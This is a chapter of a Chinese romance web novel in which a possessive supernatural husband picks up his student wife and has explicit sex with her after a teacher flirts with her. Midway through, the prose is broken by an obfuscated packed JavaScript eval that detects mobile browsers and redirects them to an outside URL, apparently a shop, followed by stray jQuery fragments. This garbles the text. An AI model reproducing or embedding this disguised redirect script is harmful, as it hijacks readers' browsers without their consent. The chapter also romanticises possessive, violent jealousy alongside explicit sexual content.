14.第 14 章

作品:《和非人类谈恋爱

    因为姣好的样貌,这几年鱼娘遇到很多追求者——


    有的已婚,有的未婚,打着反对封建,追求自由恋爱的幌子,无视她已经结婚的事实追求她。对于这些人,她只觉得烦躁。


    鱼娘客气的笑笑,往旁边让了让,拉远距离。


    “我才上大学,并不熟悉这些。”她说,“杨老师可以问问其她同学。”


    她很希望自己疏离的态度能让养在知难而退,但可惜,杨载并没有这样想,他住当做是女子的羞涩内敛,看她避开也没追上去,克制自己再矜持绅士一些,笑着说,“各种看法都应该听听,我会一一问过,只是现在我想先听听你的想法。”


    鱼娘只是礼貌微笑,“抱歉,我没有。”


    杨载多少有些失落。


    因为出众的外表,家世,以及才学,他一直很受女子青睐,但鱼娘并不如此。但这反倒勾起他的挑战欲。


    “看来我讲的平平无奇。”杨载面容含笑,没有一点被打击到的样子,风度翩翩的说,没有再纠缠这个事情,而是说,“你们放学后直接回家吗?”


    跟鱼娘一起的共有两个姑娘,苗条的叫鹿织柔,略丰腴的叫冯倩玲,前者活泼,是主动来找鱼娘玩的,冯倩玲要腼腆一些,正好和鱼娘是同桌,三个人就一起走了。


    自从看到杨载,鹿织柔的眼睛就开始闪闪发亮,冯倩玲红了脸不敢多看,却还是忍不住用余光去瞄。


    两人接触的异性不少,但像杨载这么好看又风趣的却不多,如春风拂面,只是看着就觉得舒适。


    这会儿见他看过来,鱼娘又不回复,鹿织柔就大着胆子说,“是我,我家仆人在外面等着呢。杨老师呢?放学后准备做什么?”


    “今天一号,是文会的聚集时间,等送了几位女士离开,我就要去赴约了。”杨载笑着说。


    “文会,是卢韬先生举行的新青年文会吗?”鹿织柔立即兴奋道。


    杨载笑着应是,两人一来一往热络的聊了起来,不过他更多的是想和鱼娘聊,几次想要将她拉入话题,但鱼娘始终都表现的淡淡的,他也不气馁。


    追求女孩子,尤其是含蓄矜持的女孩子,是需要慢慢来的,不能急。


    说话间一行人已经到了学校大门,鹿织柔有些不舍,准备告别,就听鱼娘开心的叫了声‘先生’,然后就轻快的迈开步子,顿时好奇的看去。


    几个人和鱼娘都认识不久,但一天相处下来,也发现她是个文静内敛的性子,说话言笑都轻轻的,却没想到她还有这样喜形于色的一面。


    今天鱼娘到学校,祂心里也不得安生。


    虽然想的是要放手,让她好好体验一下学校的生活,但总忍不住会想起学校会有很多男人,鱼娘会和他们相处,说话,言笑。


    越想心里越是戾气翻滚。


    一整天的时间,祂都等在学校外的茶馆,一直到放学。


    然后他就看到鱼娘身边跟着一个男人,那个男人眼神还总往鱼娘身上落,明晃晃的好感毫不掩饰。


    祂想挖了他的眼睛。


    鱼娘满是欢喜的声音多少缓解了这股戾气,祂上前拥住扑进自己怀里的鱼娘,低头在她额上落下一个亲吻,笑着问,“今天在学校怎么样?”


    “还好,只是很想你。”鱼娘抬头,笑着看祂,毫不掩饰自己的依恋喜欢。


    祂心里的戾气霎时又缓解许多,摸了摸鱼娘乌黑的头发,笑着说,“走,去吃饭。”


    “好啊,去哪里?”鱼娘有些好奇的问。


    “等等,余喜同学。”眼看着两人说话间就直接要走,杨载匆匆把人叫住,询问,“这位先生是?”


    鱼娘转头,不同于刚才跟她们在一起时的沉静,这会儿眉梢眼角都是笑意,谁都能看出她的开心。


    “我家先生。骆城。”她握住祂的手。


    杨载虽然早有猜测,但依然收到打击,有些勉强的微笑,“余喜同学看起来还很年轻,没想到竟然已经结婚了。骆城,骆先生这个名字,很耳熟,我似乎在哪里听说过。不知骆先生高就?”


    他看向骆城。


    长相英俊,一身西式的西装完美展现出他高大劲瘦的身材,杨载清晰的意识到,若对方出现在社交场合,绝对能吸引走所有女士的目光。


    但最让杨载酸涩的是,他和余喜站在一起时般配的不得了。


    “骆城!是神探骆城!”鹿织柔思考之后,惊喜的叫出了声,眼睛闪亮的看着骆城,有些急迫的追问,“是神探骆城先生吗?”


    “神探?”杨载有些惊讶的重复,随之想起了对方的身份。


    祂眉微扬,说,“神探不过是报社夸张的说辞,不必当真。我和鱼娘约好,要去吃饭庆祝她入学,先走一步。”


    说完,祂微微颔首,转身几步拉开轿车的车门,绅士的伸手虚扶,鱼娘对两位同学笑笑,抬脚坐了上去。而后祂转到驾驶座,驱车离开,留下心思复杂的三个人。


    “天啊,余喜竟然就是骆神探那个神秘的妻子。我之前看过报纸,好多人都在猜测对方的身份,没想到她竟然就是我们的同学,好神奇啊!”鹿织柔兴奋的说,甚至忍不住抓住了冯倩玲的手。


    冯倩玲也点头,她这么腼腆的性格都忍不住惊讶,“是啊,真没想到。”


    虽然骆城这几年渐渐低调,不像早年每破大案都会登上报纸头版,被大肆报道,但他的名气却不降反升,不知道多少人为他精准高效的破案而惊奇甚至崇拜。


    尤其是她们这些以报纸和各种小道消息来打发闲暇时光的女孩子们。


    骆城可是比杨载的名字大得多。


    养在是前年归国才渐渐有的名气,可骆城已经成名好多年了。


    杨载也想起了骆城的身份,不免有些颓丧——


    一见钟情的女孩子已经结婚,而且结婚对象还是这样优秀的人。


    但他很快就振作起来,追求爱情是每个人的自由,就算对方是骆城又如何,他爱慕的是余喜,只要她同意就好。


    真爱无罪。


    现在是民国了,不是封建旧社会,完全可以离婚。


    想着那张美丽白皙的面容,杨载下定决心。


    鱼娘可不知道他的想法,不然只会啐上一口。


    她坐在车上,同祂说着今天在学校的种种,都学了什么,认识了什么人,以及发生了哪些事。


    几年下来,鱼娘早就发现分离会让祂躁动,所以就养成了这个习惯。


    祂含笑听着,心里的戾气在不知不觉中平静下来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148947|196258||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但还是介意那个杨载。


    没人比祂更知道小鱼有多好,才开学第一天就有了这样热情的追求者,以后呢?


    祂越想,心里的火烧的越是旺盛,最后将车停在一个僻静的地方,伸手抱起鱼娘,扣住她的后脑就深深的吻了下去。


    鱼娘猝不及防下轻唔了一声,跟着搂住祂的脖子,乖顺的接受着祂的吻,试图能安抚好祂。


    但祂这次的失态远远超出她的预料,感受着被扯下去的衬裤,她浑身顿时绷紧。


    “大人……”她抓紧祂的衣服,浑身上下都写满了紧张。


    “这是在车上,窗户…”她羞的玉似的颈子都透着粉,忍不住往祂的怀里钻。


    即使这样,也还是在依赖祂。


    这很好的取悦了祂,祂低声笑起来,凑近去亲她,说,“没关系,她们看不见。”


    滋滋的水声响起,声音很小,几乎听不见,更别说还有外面街道的喧哗声,可越是如此,鱼娘越是紧张,就听得越是清楚。


    “好紧。”祂在鱼娘耳边调笑。


    两人相处几年,已经完全熟悉了彼此,但鱼娘还是放不开,更别说还是在外面,这会儿全身上下里外都绷紧了。


    祂轻轻松松的抱起她跨坐在自己身上,抵住往下按去。


    鱼娘顿时抽气,抓紧了他肩上的衣服。


    好撑。


    不管多少次,她都不能习惯。


    这个姿势自然没有躺着舒服省力,对鱼娘来说是个绝大的挑战,到后来她已经没了力气,软软的趴在祂怀里讨饶。


    “越来越娇气了。”祂低笑。


    这些年祂找来了不少好东西,都喂给了鱼娘,再加上祂的喂养,虽然还差最后一步没有转化成半妖,但她现在也绝不是普通人的身体了。换言之,她们就是厮混上一晚上也累不到她,鱼娘这样,一半是羞,一半是紧张的。


    但越是紧张,就绞的祂越是舒服,倒让祂生出了些别的想法。


    本来是约好要去吃饭庆祝的,祂也就没多欺负她,到底如何她的意。


    余韵过后,鱼娘起身,休息一会儿好不容易没那么热的脸再次红起,慌里慌张的取了帕子擦拭,边羞嗔的瞪祂。


    祂笑的满面春风,把她揽在怀里体贴的帮她整理衣服,先系上米黄色的肚兜,把吸咬发红带着指印的雪白遮掩住,然后又耐心的一颗一颗系上盘扣。


    鱼娘拿着帕子不知该怎么处理,被祂接过一把扔到了后座。


    鱼娘忍不住看了眼,很不放心,一想着万一被人看到,不就知道她们干了什么,但她更不想带在身上,只好先这样,在心中提醒自己,等回家一定要记得带走。


    之后两人吃了饭回家,刚到家,鱼娘就又被祂抱着上了楼。


    显然,某人心里的戾气是没这么好消除的。


    一直折腾到后半夜,祂才放手,紧紧抱住鱼娘。


    “先生,我不在意的。”鱼娘笑着,一如既往的坚定认真,温柔含笑,亲了亲祂说,“先生这样,我好开心。”


    这样的失控,疯狂占有,鱼娘不知道别人怎么想的,但她却从中感觉到了一种被珍视在意的幸福感。


    有时她想,大约她也不怎么正常。


    但有什么关系。